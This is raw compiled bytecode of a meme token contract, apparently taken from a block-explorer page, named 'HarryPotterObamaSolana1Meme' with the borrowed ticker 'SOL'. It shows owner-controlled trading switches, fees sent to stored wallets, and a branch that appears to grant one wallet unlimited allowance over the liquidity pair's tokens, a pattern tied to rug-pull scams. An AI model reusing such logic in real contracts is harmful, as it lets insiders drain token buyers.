fffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ee90612ff1565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611265576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125c9061307f565b60405180910390fd5b8060095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161133f91906127f3565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b19061310d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611428576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141f9061319b565b60405180910390fd5b5f4790505f821161146e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146590613229565b60405180910390fd5b600c5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615801561150c5750600c5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561180957600d5f9054906101000a900460ff1661159a5761152c610e78565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614611599576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611590906132b7565b60405180910390fd5b5b6002548211156115df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d69061331f565b60405180910390fd5b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461168b57600354826116408561081f565b61164a919061333d565b1061168a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611681906133e0565b60405180910390fd5b5b5f6116953061081f565b90505f600454821015905060025482106116af5760025491505b8080156116c95750600d60019054906101000a900460ff16155b80156116e15750600d60029054906101000a900460ff165b801561173a575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614155b801561178d5750600c5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156117e05750600c5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611806576117ee82611bde565b5f4790505f8111156118045761180381611e49565b5b505b50505b5f60019050600c5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16806118a95750600c5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8061195a575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614158015611959575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b5b15611967575f9050611afd565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16148015611a10575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611a28576010546014819055506011546015819055505b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611ad1575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15611afc57601254601481905550611ae882611f38565b601354611af591906133fe565b6015819055505b5b611b0985858584611f53565b5050505050565b5f838311158290611b57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4e9190612896565b60405180910390fd5b505f8385611b6591906133fe565b9050809150509392505050565b5f600154821115611bb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611baf906134a1565b60405180910390fd5b5f611bc1611f80565b9050611bd68184611fa990919063ffffffff16565b915050919050565b6001600d60016101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611c1557611c146134bf565b5b604051908082528060200260200182016040528015611c435781602001602082028036833780820191505090505b50905030815f81518110611c5a57611c59612cf0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611cfe573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611d229190612da5565b81600181518110611d3657611d35612cf0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d9c3060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611189565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611dfe9594939291906135a3565b5f604051808303815f87803b158015611e15575f80fd5b505af1158015611e27573d5f803e3d5ffd5b50505050505f600d60016101000a81548160ff02191690831515021790555050565b5f600e5482611e589190613628565b90505f8183611e6791906133fe565b905060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8390811502906040515f60405180830381858888f19350505050158015611ecd573d5f803e3d5ffd5b5060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611f32573d5f803e3d5ffd5b50505050565b5f66038d7ea4c6800082611f4c9190613628565b9050919050565b80611f6157611f60611ff2565b5b611f6c84848461202b565b80611f7a57611f79612205565b5b50505050565b5f805f611f8b612219565b91509150611fa28183611fa990919063ffffffff16565b9250505090565b5f611fea83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612275565b905092915050565b5f60145414801561200457505f601554145b612029576014546016819055506015546017819055505f6014819055505f6015819055505b565b5f805f805f8061203a876122d6565b9550955095509550955095506120508989612336565b156120605761205f89896123e7565b5b6120b086600a5f8c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546124b790919063ffffffff16565b600a5f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061214185600a5f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461250090919063ffffffff16565b600a5f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061218b8161255d565b6121958483612614565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516121f291906127f3565b60405180910390a3505050505050505050565b601654601481905550601754601581905550565b5f805f60015490505f670de0b6b3a7640000905061224a670de0b6b3a7640000600154611fa990919063ffffffff16565b82101561226857600154670de0b6b3a7640000935093505050612271565b81819350935050505b9091565b5f80831182906122bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122b29190612896565b60405180910390fd5b505f83856122c99190613628565b9050809150509392505050565b5f805f805f805f805f6122ee8a60145460155461264e565b9250925092505f6122fd611f80565b90505f805f61230e8e8787876126e0565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b5f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156123df575060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b905092915050565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60095f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156124b3576124b281837fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff611189565b5b5050565b5f6124f883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b10565b905092915050565b5f80828461250e919061333d565b905083811015612553576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161254a906136a2565b60405180910390fd5b8091505092915050565b5f612566611f80565b90505f61257c828461276490919063ffffffff16565b90506125ce81600a5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461250090919063ffffffff16565b600a5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b612629826001546124b790919063ffffffff16565b60018190555061264481600f5461250090919063ffffffff16565b600f819055505050565b5f805f80612678606461266a888a61276490919063ffffffff16565b611fa990919063ffffffff16565b90505f6126a16064612693888b61276490919063ffffffff16565b611fa990919063ffffffff16565b90505f6126c9826126bb858c6124b790919063ffffffff16565b6124b790919063ffffffff16565b905080838395509550955050505093509350939050565b5f805f806126f7858961276490919063ffffffff16565b90505f61270d868961276490919063ffffffff16565b90505f612723878961276490919063ffffffff16565b90505f61274b8261273d85876124b790919063ffffffff16565b6124b790919063ffffffff16565b9050838184965096509650505050509450945094915050565b5f808303612774575f90506127d5565b5f828461278191906136c0565b90508284826127909190613628565b146127d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127c790613771565b60405180910390fd5b809150505b92915050565b5f819050919050565b6127ed816127db565b82525050565b5f6020820190506128065f8301846127e4565b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612843578082015181840152602081019050612828565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6128688261280c565b6128728185612816565b9350612882818560208601612826565b61288b8161284e565b840191505092915050565b5f6020820190508181035f8301526128ae818461285e565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6128e7826128be565b9050919050565b6128f7816128dd565b8114612901575f80fd5b50565b5f81359050612912816128ee565b92915050565b612921816127db565b811461292b575f80fd5b50565b5f8135905061293c81612918565b92915050565b5f8060408385031215612958576129576128b6565b5b5f61296585828601612904565b92505060206129768582860161292e565b9150509250929050565b5f8115159050919050565b61299481612980565b82525050565b5f6020820190506129ad5f83018461298b565b92915050565b5f6129bd826128be565b9050919050565b6129cd816129b3565b82525050565b5f6020820190506129e65f8301846129c4565b92915050565b5f819050919050565b5f612a0f612a0a612a05846128be565b6129ec565b6128be565b9050919050565b5f612a20826129f5565b9050919050565b5f612a3182612a16565b9050919050565b612a4181612a27565b82525050565b5f602082019050612a5a5f830184612a38565b92915050565b5f805f60608486031215612a7757612a766128b6565b5b5f612a8486828701612904565b9350506020612a9586828701612904565b9250506040612aa68682870161292e565b9150509250925092565b5f60ff82169050919050565b612ac581612ab0565b82525050565b5f602082019050612ade5f830184612abc565b92915050565b5f60208284031215612af957612af86128b6565b5b5f612b068482850161292e565b91505092915050565b5f60208284031215612b2457612b236128b6565b5b5f612b3184828501612904565b91505092915050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f840112612b5b57612b5a612b3a565b5b8235905067ffffffffffffffff811115612b7857612b77612b3e565b5b602083019150836020820283011115612b9457612b93612b42565b5b9250929050565b612ba481612980565b8114612bae575f80fd5b50565b5f81359050612bbf81612b9b565b92915050565b5f805f60408486031215612bdc57612bdb6128b6565b5b5f84013567ffffffffffffffff811115612bf957612bf86128ba565b5b612c0586828701612b46565b93509350506020612c1886828701612bb1565b9150509250925092565b612c2b816128dd565b82525050565b5f602082019050612c445f830184612c22565b92915050565b5f8060408385031215612c6057612c5f6128b6565b5b5f612c6d85828601612904565b9250506020612c7e85828601612904565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612cbc602083612816565b9150612cc782612c88565b602082019050919050565b5f6020820190508181035f830152612ce981612cb0565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f612d54826127db565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612d8657612d85612d1d565b5b600182019050919050565b5f81519050612d9f816128ee565b92915050565b5f60208284031215612dba57612db96128b6565b5b5f612dc784828501612d91565b91505092915050565b5f604082019050612de35f830185612c22565b612df06020830184612c22565b9392505050565b5f819050919050565b5f612e1a612e15612e1084612df7565b6129ec565b6127db565b9050919050565b612e2a81612e00565b82525050565b5f60c082019050612e435f830189612c22565b612e5060208301886127e4565b612e5d6040830187612e21565b612e6a6060830186612e21565b612e776080830185612c22565b612e8460a08301846127e4565b979650505050505050565b5f81519050612e9d81612918565b92915050565b5f805f60608486031215612eba57612eb96128b6565b5b5f612ec786828701612e8f565b9350506020612ed886828701612e8f565b9250506040612ee986828701612e8f565b9150509250925092565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f612f4d602683612816565b9150612f5882612ef3565b604082019050919050565b5f6020820190508181035f830152612f7a81612f41565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612fdb602483612816565b9150612fe682612f81565b604082019050919050565b5f6020820190508181035f83015261300881612fcf565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f613069602283612816565b91506130748261300f565b604082019050919050565b5f6020820190508181035f8301526130968161305d565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6130f7602583612816565b91506131028261309d565b604082019050919050565b5f6020820190508181035f830152613124816130eb565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f613185602383612816565b91506131908261312b565b604082019050919050565b5f6020820190508181035f8301526131b281613179565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f613213602983612816565b915061321e826131b9565b604082019050919050565b5f6020820190508181035f83015261324081613207565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e64205f8201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b5f6132a1603f83612816565b91506132ac82613247565b604082019050919050565b5f6020820190508181035f8301526132ce81613295565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000005f82015250565b5f613309601c83612816565b9150613314826132d5565b602082019050919050565b5f6020820190508181035f830152613336816132fd565b9050919050565b5f613347826127db565b9150613352836127db565b925082820190508082111561336a57613369612d1d565b5b92915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073695f8201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b5f6133ca602383612816565b91506133d582613370565b604082019050919050565b5f6020820190508181035f8301526133f7816133be565b9050919050565b5f613408826127db565b9150613413836127db565b925082820390508181111561342b5761342a612d1d565b5b92915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c20725f8201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b5f61348b602a83612816565b915061349682613431565b604082019050919050565b5f6020820190508181035f8301526134b88161347f565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61351e816128dd565b82525050565b5f61352f8383613515565b60208301905092915050565b5f602082019050919050565b5f613551826134ec565b61355b81856134f6565b935061356683613506565b805f5b8381101561359657815161357d8882613524565b97506135888361353b565b925050600181019050613569565b5085935050505092915050565b5f60a0820190506135b65f8301886127e4565b6135c36020830187612e21565b81810360408301526135d58186613547565b90506135e46060830185612c22565b6135f160808301846127e4565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f613632826127db565b915061363d836127db565b92508261364d5761364c6135fb565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f61368c601b83612816565b915061369782613658565b602082019050919050565b5f6020820190508181035f8301526136b981613680565b9050919050565b5f6136ca826127db565b91506136d5836127db565b92508282026136e3816127db565b915082820484148315176136fa576136f9612d1d565b5b5092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f61375b602183612816565b915061376682613701565b604082019050919050565b5f6020820190508181035f8301526137888161374f565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220da8553d6b590cd0c5c891a8c8f1bf10653650b5d172acb8693aafa8071f2ac5c64736f6c63430008140033

Deployed Bytecode

0x608060405260043610610143575f3560e01c80634f473db0116100b557806395d89b411161006e57806395d89b411461040e578063962dfc7514610438578063a9059cbb14610462578063c816841b1461049e578063dd62ed3e146104c8578063f2fde38b146105045761014a565b80634f473db01461032c57806370a0823114610354578063715018a61461039057806383364ea2146103a65780638a8c523c146103ce5780638da5cb5b146103e45761014a565b80631694505e116101075780631694505e1461023257806318160ddd1461025c57806323b872dd146102865780632fae7937146102c2578063313ce567146102d85780633d8af5f2146103025761014a565b8063039cc7491461014e57806306fdde0314610178578063095ea7b3146101a25780630e5a9231146101de57806311a63e17146102085761014a565b3661014a57005b5f80fd5b348015610159575f80fd5b5061016261052c565b60405161016f91906127f3565b60405180910390f35b348015610183575f80fd5b5061018c610532565b6040516101999190612896565b60405180910390f35b3480156101ad575f80fd5b506101c860048036038101906101c39190612942565b61056f565b6040516101d5919061299a565b60405180910390f35b3480156101e9575f80fd5b506101f261058c565b6040516101ff91906127f3565b60405180910390f35b348015610213575f80fd5b5061021c610592565b60405161022991906129d3565b60405180910390f35b34801561023d575f80fd5b506102466105b7565b6040516102539190612a47565b60405180910390f35b348015610267575f80fd5b506102706105dc565b60405161027d91906127f3565b60405180910390f35b348015610291575f80fd5b506102ac60048036038101906102a79190612a60565b6105eb565b6040516102b9919061299a565b60405180910390f35b3480156102cd575f80fd5b506102d66106bf565b005b3480156102e3575f80fd5b506102ec610773565b6040516102f99190612acb565b60405180910390f35b34801561030d575f80fd5b5061031661077b565b60405161032391906127f3565b60405180910390f35b348015610337575f80fd5b50610352600480360381019061034d9190612ae4565b610781565b005b34801561035f575f80fd5b5061037a60048036038101906103759190612b0f565b61081f565b60405161038791906127f3565b60405180910390f35b34801561039b575f80fd5b506103a461086d565b005b3480156103b1575f80fd5b506103cc60048036038101906103c79190612bc5565b6109bb565b005b3480156103d9575f80fd5b506103e2610af0565b005b3480156103ef575f80fd5b506103f8610e78565b6040516104059190612c31565b60405180910390f35b348015610419575f80fd5b50610422610e9f565b60405161042f9190612896565b60405180910390f35b348015610443575f80fd5b5061044c610edc565b60405161045991906129d3565b60405180910390f35b34801561046d575f80fd5b5061048860048036038101906104839190612942565b610f01565b604051610495919061299a565b60405180910390f35b3480156104a9575f80fd5b506104b2610f1e565b6040516104bf9190612c31565b60405180910390f35b3480156104d3575f80fd5b506104ee60048036038101906104e99190612c4a565b610f43565b6040516104fb91906127f3565b60405180910390f35b34801561050f575f80fd5b5061052a60048036038101906105259190612b0f565b610fc5565b005b60025481565b60606040518060400160405280601b81526020017f4861727279506f747465724f62616d61536f6c616e61314d656d650000000000815250905090565b5f61058261057b611182565b8484611189565b6001905092915050565b60045481565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f670de0b6b3a7640000905090565b5f6105f784848461134c565b6106b484610603611182565b6106af856040518060600160405280602881526020016137906028913960095f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610666611182565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b109092919063ffffffff16565b611189565b600190509392505050565b6106c7611182565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610753576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074a90612cd2565b60405180910390fd5b670de0b6b3a7640000600281905550670de0b6b3a7640000600381905550565b5f6009905090565b60035481565b610789611182565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610815576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080c90612cd2565b60405180910390fd5b8060048190555050565b5f610866600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b72565b9050919050565b610875611182565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610901576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f890612cd2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6109c3611182565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4690612cd2565b60405180910390fd5b5f5b83839050811015610aea5781600c5f868685818110610a7357610a72612cf0565b5b9050602002016020810190610a889190612b0f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080610ae290612d4a565b915050610a51565b50505050565b610af8611182565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7b90612cd2565b60405180910390fd5b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bee573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c129190612da5565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c98573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cbc9190612da5565b6040518363ffffffff1660e01b8152600401610cd9929190612dd0565b6020604051808303815f875af1158015610cf5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d199190612da5565b60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610da43060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff611189565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610dec3061081f565b5f80610df6610e78565b426040518863ffffffff1660e01b8152600401610e1896959493929190612e30565b60606040518083038185885af1158015610e34573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610e599190612ea3565b5050506001600d5f6101000a81548160ff021916908315150217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f534f4c0000000000000000000000000000000000000000000000000000000000815250905090565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f610f14610f0d611182565b848461134c565b6001905092915050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610fcd611182565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611059576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105090612cd2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036110c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110be90612f63565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ee90612ff1565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611265576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125c9061307f565b60405180910390fd5b8060095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161133f91906127f3565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b19061310d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611428576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141f9061319b565b60405180910390fd5b5f4790505f821161146e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146590613229565b60405180910390fd5b600c5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615801561150c5750600c5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561180957600d5f9054906101000a900460ff1661159a5761152c610e78565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614611599576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611590906132b7565b60405180910390fd5b5b6002548211156115df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d69061331f565b60405180910390fd5b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461168b57600354826116408561081f565b61164a919061333d565b1061168a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611681906133e0565b60405180910390fd5b5b5f6116953061081f565b90505f600454821015905060025482106116af5760025491505b8080156116c95750600d60019054906101000a900460ff16155b80156116e15750600d60029054906101000a900460ff165b801561173a575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614155b801561178d5750600c5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156117e05750600c5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815